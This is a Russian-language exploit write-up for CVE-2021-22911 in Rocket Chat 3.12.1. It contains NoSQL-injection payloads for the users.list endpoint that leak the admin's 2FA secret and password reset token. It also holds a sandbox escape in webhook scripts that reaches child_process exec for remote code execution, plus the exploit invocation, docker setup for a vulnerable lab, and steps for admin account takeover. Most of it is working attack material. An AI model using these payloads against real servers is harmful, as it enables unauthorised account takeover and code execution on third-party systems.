
Эксплойт для CVE-2021-22911: слепая NoSQL-инъекция до аутентификации в Rocket Chat 3.12.1, позволяющая захватить учётную запись и выполнить удалённый код через скриптинг вебхуков.
Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1
Скорее всего, учетная запись администратора защищена двухфакторной аутентификацией (2FA). Поэтому даже если мы изменим пароль администратора через (1), при входе в систему будет запрошен код 2FA.
Конечная точка API users.list принимает параметр запроса, который уязвим к NoSQL-инъекции. Мы также можем извлекать данные, вызывая ошибку.
Мы выполняем следующий запрос, чтобы получить секрет 2FA администратора: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Затем мы просто выполняем (1) для сброса пароля администратора и используем секрет 2FA для генерации кода, который можно использовать для входа.
Обновлено: Вы также можете получить токен сброса тем же способом, что и секрет 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
ПРИМЕЧАНИЕ: Если вы не хотите, чтобы администратор был защищен 2FA, вы можете сделать следующее.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)